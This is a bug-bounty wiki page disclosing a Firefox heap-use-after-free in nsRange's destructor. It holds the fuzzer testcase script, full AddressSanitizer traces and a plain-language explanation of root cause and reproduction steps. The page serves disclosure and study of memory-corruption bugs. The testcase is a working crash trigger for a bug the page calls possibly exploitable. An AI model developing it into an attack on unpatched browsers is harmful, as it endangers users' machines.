heap-use-after-free in nsRange::~nsRange
A heap-use-after-free occurs in nsRange's destructor when a range is torn down during cycle collection while its linked-list node has already been freed. An attacker could trigger a browser crash, and the write-after-free may be exploitable for code execution.
- Fixed in 13 days
- Paid in 4 months
- Disclosed after 13 days
Created attachment 8907029 ASAN output
The following testcase crashes the latest ASAN build of Firefox (BuildID=20170910080726). It requires the attached div.html in the same directory and the fuzzPriv extension installed.
<script> function start() { setInterval('fuzzPriv.GC();fuzzPriv.CC()',4); o0=open('div.html','popup74','height=2'); o0.onload=fun1; setTimeout(fun0, 40); } function fun0() { o3=this; fuzzPriv.trustedKeyEvent(document.documentElement,'press',true,false,false,false,0,65); o42=document.createRange(); o43=o3.getSelection(); o52=o43.getRangeAt(0); o153=o0.getSelection(); o158=document.createElement('input'); setTimeout(fun2, 4); } function fun1(e) { o93=e.target; o105=o93.getElementsByTagName('*')[3]; o52.setEndBefore(o105); o42.setEndBefore(o105); o153.addRange(o42); o42.insertNode(o158); o153.addRange(o52); } function fun2() { o0.close(); window.setTimeout("location.reload();",10); } </script> <body onload="start()"></body>ASAN output:
==14613==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030002d1578 at pc 0x7faa7aa53394 bp 0x7fff3ff72c10 sp 0x7fff3ff72c08 WRITE of size 8 at 0x6030002d1578 thread T0 (file:// Content) #0 0x7faa7aa53393 in remove /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/LinkedList.h:246:18 #1 0x7faa7aa53393 in ~LinkedListElement /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/LinkedList.h:198 #2 0x7faa7aa53393 in nsRange::~nsRange() /builds/worker/workspace/build/src/dom/base/nsRange.cpp:259 #3 0x7faa7aa533bd in nsRange::~nsRange() /builds/worker/workspace/build/src/dom/base/nsRange.cpp:254:1 #4 0x7faa77c21047 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2695:25 #5 0x7faa77c2870b in FreeSnowWhite /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2883:3 #6 0x7faa77c2870b in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3899 #7 0x7faa77c27c23 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3720:9 #8 0x7faa77c2ba70 in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4289:21 #9 0x7faa7a9fe66d in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1480:3 #10 0x7faa7a53e28b in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1434:3 #11 0x7faa77db1c91 in NS_InvokeByIndex /builds/worker/workspace/build/src/xpcom/reflect/xptcall/md/unix/xptcinvoke_asm_x86_64_unix.S:129 #12 0x7faa7956e7a0 in Invoke /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1996:12 #13 0x7faa7956e7a0 in Call /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1315 #14 0x7faa7956e7a0 in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1282 #15 0x7faa7957576f in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:928:12 #16 0x7faa82a70a54 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #17 0x7faa82a70a54 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495 #18 0x7faa82a5a2c9 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:546:12 #19 0x7faa82a5a2c9 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084 #20 0x7faa82a4182b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:435:12 #21 0x7faa82a70bec in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:513:15 #22 0x7faa82a71542 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:559:10 #23 0x7faa834c2ad3 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2906:12 #24 0x7faa7948c7cb in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:315:18 #25 0x7faa82a70a54 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #26 0x7faa82a70a54 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495 #27 0x7faa82a5a2c9 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:546:12 #28 0x7faa82a5a2c9 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084 #29 0x7faa82a4182b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:435:12 #30 0x7faa82a73367 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:724:15 #31 0x7faa82a73bd2 in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:756:12 #32 0x7faa834d5dc9 in ExecuteScript(JSContext*, JS::AutoObjectVector&, JS::Handle<JSScript*>, JS::Value*) /builds/worker/workspace/build/src/js/src/jsapi.cpp:4667:12 #33 0x7faa7aa134a9 in nsJSUtils::ExecutionContext::CompileAndExec(JS::CompileOptions&, JS::SourceBufferHolder&, JS::MutableHandle<JSScript*>) /builds/worker/workspace/build/src/dom/base/nsJSUtils.cpp:265:8 #34 0x7faa7aa13a06 in nsJSUtils::ExecutionContext::CompileAndExec(JS::CompileOptions&, nsTSubstring<char16_t> const&) /builds/worker/workspace/build/src/dom/base/nsJSUtils.cpp:287:10 #35 0x7faa7a609158 in nsGlobalWindow::RunTimeoutHandler(mozilla::dom::Timeout*, nsIScriptContext*) /builds/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:13241:19 #36 0x7faa7a7e1f74 in mozilla::dom::TimeoutManager::RunTimeout(mozilla::TimeStamp const&, mozilla::TimeStamp const&) /builds/worker/workspace/build/src/dom/base/TimeoutManager.cpp:878:42 #37 0x7faa7a7d6e70 in mozilla::dom::TimeoutExecutor::MaybeExecute() /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:167:11 #38 0x7faa7a7d7642 in mozilla::dom::TimeoutExecutor::Run() /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:224:5 #39 0x7faa77d9d4dc in mozilla::ThrottledEventQueue::Inner::ExecuteRunnable() /builds/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:193:22 #40 0x7faa77d9cf9f in mozilla::ThrottledEventQueue::Inner::Executor::Run() /builds/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:79:15 #41 0x7faa77d61e10 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:396:25 #42 0x7faa77d88dcd in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1039:14 #43 0x7faa77d8eaf8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:521:10 #44 0x7faa78b32b21 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #45 0x7faa78a9386b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #46 0x7faa78a9386b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #47 0x7faa78a9386b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #48 0x7faa7e24ba5f in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27 #49 0x7faa8258cb47 in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:866:22 #50 0x7faa78a9386b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #51 0x7faa78a9386b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #52 0x7faa78a9386b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #53 0x7faa8258c5b0 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:691:34 #54 0x4eb873 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:63:30 #55 0x4eb873 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:285 #56 0x7faa953c482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #57 0x41d1c8 in _start (/fuzzer3/firefox/firefox+0x41d1c8)
0x6030002d1578 is located 8 bytes inside of 24-byte region [0x6030002d1570,0x6030002d1588) freed by thread T0 (file:// Content) here: #0 0x4bb6fb in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3 #1 0x7faa7a9dc569 in operator delete /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:230:12 #2 0x7faa7a9dc569 in operator() /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/UniquePtr.h:528 #3 0x7faa7a9dc569 in reset /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/UniquePtr.h:343 #4 0x7faa7a9dc569 in ~UniquePtr /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/UniquePtr.h:288 #5 0x7faa7a9dc569 in nsINode::nsSlots::~nsSlots() /builds/worker/workspace/build/src/dom/base/nsINode.cpp:135 #6 0x7faa7a70832d in mozilla::dom::FragmentOrElement::nsDOMSlots::~nsDOMSlots() /builds/worker/workspace/build/src/dom/base/FragmentOrElement.cpp:761:1 #7 0x7faa7aa38337 in nsNodeUtils::LastRelease(nsINode*) /builds/worker/workspace/build/src/dom/base/nsNodeUtils.cpp:313:5 #8 0x7faa7a6c4722 in mozilla::dom::FragmentOrElement::Release() /builds/worker/workspace/build/src/dom/base/FragmentOrElement.cpp:2221:1 #9 0x7faa7a7236ea in ~nsCOMPtr_base /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:313:7 #10 0x7faa7a7236ea in ContentUnbinder::UnbindSubtree(nsIContent*) /builds/worker/workspace/build/src/dom/base/FragmentOrElement.cpp:1492 #11 0x7faa7a722ff7 in ContentUnbinder::Run() /builds/worker/workspace/build/src/dom/base/FragmentOrElement.cpp:1502:9 #12 0x7faa7a70ea85 in UnbindAll /builds/worker/workspace/build/src/dom/base/FragmentOrElement.cpp:1526:11 #13 0x7faa7a70ea85 in mozilla::dom::FragmentOrElement::ClearContentUnbinder() /builds/worker/workspace/build/src/dom/base/FragmentOrElement.cpp:1560 #14 0x7faa7a81f2b9 in nsCCUncollectableMarker::Observe(nsISupports*, char const*, char16_t const*) /builds/worker/workspace/build/src/dom/base/nsCCUncollectableMarker.cpp:361:5 #15 0x7faa77c90b1c in nsObserverList::NotifyObservers(nsISupports*, char const*, char16_t const*) /builds/worker/workspace/build/src/xpcom/ds/nsObserverList.cpp:112:19 #16 0x7faa77c94468 in nsObserverService::NotifyObservers(nsISupports*, char const*, char16_t const*) /builds/worker/workspace/build/src/xpcom/ds/nsObserverService.cpp:296:19 #17 0x7faa794fbb64 in XPCJSRuntime::BeginCycleCollectionCallback() /builds/worker/workspace/build/src/js/xpconnect/src/XPCJSRuntime.cpp:700:14 #18 0x7faa77c28191 in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3863:19 #19 0x7faa77c27c23 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3720:9 #20 0x7faa77c2ba70 in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4289:21 #21 0x7faa7a9fe66d in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1480:3 #22 0x7faa7a53e28b in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1434:3 #23 0x7faa77db1c91 in NS_InvokeByIndex /builds/worker/workspace/build/src/xpcom/reflect/xptcall/md/unix/xptcinvoke_asm_x86_64_unix.S:129 #24 0x7faa7956e7a0 in Invoke /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1996:12 #25 0x7faa7956e7a0 in Call /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1315 #26 0x7faa7956e7a0 in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1282 #27 0x7faa7957576f in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:928:12 #28 0x7faa82a70a54 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #29 0x7faa82a70a54 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495 #30 0x7faa82a5a2c9 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:546:12 #31 0x7faa82a5a2c9 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084 #32 0x7faa82a4182b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:435:12 #33 0x7faa82a70bec in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:513:15 #34 0x7faa82a71542 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:559:10 #35 0x7faa834c2ad3 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2906:12 #36 0x7faa7948c7cb in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:315:18 #37 0x7faa82a70a54 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #38 0x7faa82a70a54 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495 #39 0x7faa82a5a2c9 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:546:12 #40 0x7faa82a5a2c9 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084 #41 0x7faa82a4182b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:435:12
previously allocated by thread T0 (file:// Content) here: #0 0x4bba4c in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3 #1 0x4ecf6d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:84:17 #2 0x7faa7aa5722f in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:206:12 #3 0x7faa7aa5722f in MakeUnique<mozilla::LinkedList<nsRange>> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/UniquePtr.h:680 #4 0x7faa7aa5722f in nsRange::RegisterCommonAncestor(nsINode*) /builds/worker/workspace/build/src/dom/base/nsRange.cpp:423 #5 0x7faa7aa55587 in nsRange::DoSetRange(nsRange::RangeBoundaryBase<nsINode*, nsIContent*> const&, nsRange::RangeBoundaryBase<nsINode*, nsIContent*> const&, nsINode*, bool) /builds/worker/workspace/build/src/dom/base/nsRange.cpp:999:9 #6 0x7faa7aa6471c in DoSetRange /builds/worker/workspace/build/src/dom/base/nsRange.h:661:5 #7 0x7faa7aa6471c in nsRange::SetEnd(nsINode*, unsigned int) /builds/worker/workspace/build/src/dom/base/nsRange.cpp:1479 #8 0x7faa7aa65768 in nsRange::SetEndBefore(nsINode&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsRange.cpp:1598:9 #9 0x7faa7aa654a8 in nsRange::SetEndBeforeJS(nsINode&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsRange.cpp:1580:3 #10 0x7faa7b3d2e05 in mozilla::dom::RangeBinding::setEndBefore(JSContext*, JS::Handle<JSObject*>, nsRange*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/RangeBinding.cpp:647:9 #11 0x7faa7c40da50 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3050:13 #12 0x7faa82a70a54 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #13 0x7faa82a70a54 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495 #14 0x7faa82a5a2c9 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:546:12 #15 0x7faa82a5a2c9 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084 #16 0x7faa82a4182b in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:435:12 #17 0x7faa82a70bec in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:513:15 #18 0x7faa82a71542 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:559:10 #19 0x7faa83777dfe in js::ForwardingProxyHandler::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /builds/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:175:12 #20 0x7faa8373aa39 in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /builds/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:359:23 #21 0x7faa83757e53 in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /builds/worker/workspace/build/src/js/src/proxy/Proxy.cpp:497:21 #22 0x7faa8375a817 in js::proxy_Call(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/js/src/proxy/Proxy.cpp:757:12 #23 0x7faa82a70e9c in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #24 0x7faa82a70e9c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:477 #25 0x7faa82a71542 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:559:10 #26 0x7faa834c495b in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2965:12 #27 0x7faa7be44be5 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37 #28 0x7faa7c8157d5 in Call<nsISupports > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:362:12 #29 0x7faa7c8157d5 in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:215 #30 0x7faa7c7deda9 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1112:51 #31 0x7faa7c7e0e70 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1283:20 #32 0x7faa7c7c0c61 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:462:16 #33 0x7faa7c7c4132 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:822:9 #34 0x7faa7ea9508e in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1081:7 #35 0x7faa81a397e1 in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7741:21 #36 0x7faa81a35804 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7539:7
SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/LinkedList.h:246:18 in remove Shadow bytes around the buggy address: 0x0c0680052250: fd fa fa fa fd fd fd fa fa fa fd fd fd fa fa fa 0x0c0680052260: fd fd fd fa fa fa fd fd fd fa fa fa fd fd fd fa 0x0c0680052270: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd 0x0c0680052280: fd fa fa fa fd fd fd fa fa fa fd fd fd fa fa fa 0x0c0680052290: fd fd fd fa fa fa fd fd fd fd fa fa fd fd fd fa =>0x0c06800522a0: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd[fd] 0x0c06800522b0: fd fa fa fa fd fd fd fd fa fa fd fd fd fd fa fa 0x0c06800522c0: fd fd fd fa fa fa fd fd fd fa fa fa fd fd fd fa 0x0c06800522d0: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd 0x0c06800522e0: fd fa fa fa fd fd fd fa fa fa fd fd fd fd fa fa 0x0c06800522f0: fd fd fd fa fa fa fd fd fd fd fa fa fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==14613==ABORTING
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the range's common-ancestor linked-list node is freed by the cycle collector before the range destructor unlinks itself, so the destructor writes to freed memory.
Impact
The freed memory is written to during cycle collection, crashing the browser and potentially allowing code execution.
What the attacker needed
FuzzPriv extension installed; attached div.html in same directory; ASAN build of Firefox
How it was found
- Install the fuzzPriv extension and place the attached div.html alongside the test page.
- On page load, start a timer that repeatedly forces garbage and cycle collection.
- Open div.html in a popup window and attach an onload handler.
- In the onload handler, create ranges, set their ends before an element, add them to selections and insert a node.
- After a short timeout, close the popup and reload the page, which triggers the crash during cycle collection.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A 'use-after-free' is when a program keeps using a piece of memory after it has been handed back to the system, so the contents can be anything. Here Firefox's text-selection range object is freed during garbage collection but its destructor still writes into the freed memory, which crashes the browser and could let an attacker run their own code.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.